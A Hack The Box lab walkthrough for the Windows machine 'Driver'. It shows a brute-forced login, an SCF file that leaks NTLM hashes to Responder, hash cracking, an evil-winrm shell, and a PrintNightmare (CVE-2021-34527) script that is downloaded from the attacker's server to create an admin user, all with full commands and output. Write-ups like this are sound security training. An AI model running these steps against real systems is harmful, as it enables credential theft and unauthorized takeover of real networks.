Hack The Box – Driver Walkthrough

Alberto Gómez

First step is to do some enumeration. Let's scan the host with *nmap*:

```
kali@kali:~$ sudo nmap -Pn -p- 10.10.11.106
[sudo] password for kali:
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-13 04:06 EDT
Nmap scan report for 10.10.11.106
Host is up (0.050s latency).
Not shown: 65531 filtered ports
PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
445/tcp  open  microsoft-ds
5985/tcp open  wsman
```

We can see it is a windows machine because of ports 135 and 445. It also has a HTTP service and a Remote Management service.

When checking the website on port 80 we can see a login prompt. Let's try to brute-force it with Metasploit's http-login module:

```
msf5 auxiliary(scanner/http/http_login) > set rhosts 10.10.11.106
rhosts ⇒ 10.10.11.106
msf5 auxiliary(scanner/http/http_login) > run

[*] Attempting to login to http://10.10.11.106:80/
[+] 10.10.11.106:80 - Success: 'admin:admin'
```

We found the '*admin:admin*' credentials. When we log-in, we see it is a printer web portal.

The only available page at first sight is the 'firmware update' page. When doing some enumeration with *gobuster* or *dirb* I found no interesting folders or PHP files.

The firmware update page has a file upload. It tells us that the files will be stored on their file share (so we cannot access it from the webpage), will be manually reviewed by the testing team and the testing will start soon.

On the page footer we see a possible user: '*support@driver.htb*'.

In this scenario we can make use of the SCF files, which I have known about thanks to this CTF (https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/).

These files can execute shell operations and attackers can use them to their favour. With a simple file like the following, when the testing team accesses the file share, the file with search the icon file on the network share we indicate (our own machine) without having to be executed.

```
kali@kali:~$ cat payload.scf
[Shell]
Command=2
IconFile=\\10.10.14.63\directory\example.ico
[Taskbar]
Command=ToggleDesktop
kali@kali:~$
```

That way, the machine will make a NTLM authentication against our machine to access our SMB server. We do not have a SMB server; we are going to use the *Responder* tool to deploy a fake server and gather the credentials.

```
kali@kali:~/attack-tools/Responder$ sudo python Responder.py -I tun0 -rPv
[sudo] password for kali:

                                         __
  .----.-----.-----.-----.-----.-----.--|  |.----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||   _|  __|
  |__| |_____|_____|   __|_____|__|__|_____||__| |____|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.0.6.0
```

Let's upload the file and wait for the auth attempt:

```
[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.10.11.106
[SMB] NTLMv2-SSP Username : DRIVER\tony
[SMB] NTLMv2-SSP Hash     : tony::DRIVER:754210478e93d282:E6793ACFC21E37AAC66C691A11317A80:0101000000000000589DF8EBBFD701EE24A02B091D5
520004003400570049004E002D003500440041005800440045004400580048003900520002E0033004D004D0057002E004C004F00430041004C0003001400330004D004D00
1060004000200000008003000300000000000000000000000000002000014AD983FE7315C15488F53988C95D2462780A524096C88C684A58AE08E3F956F0A0010000000000
0000000000000000000000
[SMB] NTLMv2-SSP Client   : 10.10.11.106
[SMB] NTLMv2-SSP Username : DRIVER\tony
[SMB] NTLMv2-SSP Hash     : tony::DRIVER:6d788119d9d42399:FA2EDE0DE74246E003FF546BCC5D50BD:0101000000000000589DF8EBBFD70148496A076D13B
520004003400570049004E002D003500440041005800440045004400580048003900520002E0033004D004D0057002E004C004F00430041004C0003001400330004D004D00
1060004000200000008003000300000000000000000000000000002000014AD983FE7315C15488F53988C95D2462780A524096C88C684A58AE08E3F956F0A0010000000000
0000000000000000000000
```

We got some credentials for a user called 'tony'. Let's try to crack them with *John The Ripper*:

```
kali@kali:~/attack-tools/evil-winrm$ /usr/sbin/john ../Responder/logs/SMB-NTLMv2-SSP-10.10.11.106.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 13 password hashes with 13 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
liltony          (tony)
liltony          (tony)
liltony          (tony)
liltony          (tony)
liltony          (tony)
liltony          (tony)
liltony          (tony)
liltony          (tony)
liltony          (tony)
liltony          (tony)
liltony          (tony)
liltony          (tony)
liltony          (tony)
13g 0:00:00:00 DONE (2021-10-09 11:07) 72.22g/s 182044p/s 2366Kc/s 2366KC/s !!!!!!..eatme1
Warning: passwords printed above might not be all those cracked
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed
kali@kali:~/attack-tools/evil-winrm$
```

We got the valid system credentials '*tony:liltony*'.

We know there is a windows management service. Let's try to exploit it and get a shell with these credentials. For this I found the *evil-winrm* tool (https://github.com/Hackplayers/evil-winrm).

```
kali@kali:~/attack-tools/evil-winrm$ evil-winrm -i 10.10.11.106 -u tony -p liltony

Evil-WinRM shell v3.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\tony\Documents>
```

We got access!

We can find the user flag on the *Desktop* folder:

```
kali@kali:~/attack-tools/evil-winrm$ evil-winrm -i 10.10.11.106 -u tony -p liltony

Evil-WinRM shell v3.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\tony\Documents> cat "C:/Users/tony/Desktop/user.txt"
ce9bdc62814fbc8d9ecf4d9873cf83c5
*Evil-WinRM* PS C:\Users\tony\Documents>
```

To get the root access we can exploit a recently reported vulnerability, the CVE-2021-34527, that affects windows printers and allows remote code execution of DLL files.

We can find several exploits online, like this Python tool that lets you load a remote DLL to the machine: https://github.com/cube0x0/CVE-2021-1675.

I am going to try this other exploit though, which is written in PowerShell and that, apart from letting you load remote DLLs, it lets you create administration users from the command arguments: https://github.com/JohnHammond/CVE-2021-34527.

First, I get the exploit from my personal webserver. Then, I execute it creating a new user called '*alberto*'.

```
*Evil-WinRM* PS C:\Users\tony\Desktop> Invoke-WebRequest "http://10.10.14.79/CVE-2021-34527.ps1" -OutFile CVE-2021-34527.ps1
*Evil-WinRM* PS C:\Users\tony\Desktop> Import-Module .\CVE-2021-34527.ps1
*Evil-WinRM* PS C:\Users\tony\Desktop> Invoke-Nightmare -DriverName "Xerox" -NewUser "alberto" -NewPassword "alberto"
[+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll"
[+] added user alberto as local administrator
[+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll
*Evil-WinRM* PS C:\Users\tony\Desktop>
```

Let's execute the *evil-winrm* tool again with the new credentials and see how the new user has administration permissions as it can read inside the Administrator user folder:

```
kali@kali:~/attack-tools/evil-winrm$ evil-winrm -i 10.10.11.106 -u alberto -p alberto

Evil-WinRM shell v3.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\alberto\Documents> cat C:\Users\Administrator\Desktop\root.txt
b0e3ebafbaf86279378843ae5c29ef26
*Evil-WinRM* PS C:\Users\alberto\Documents>
```

We find the final flag inside the administrator's *Desktop* folder.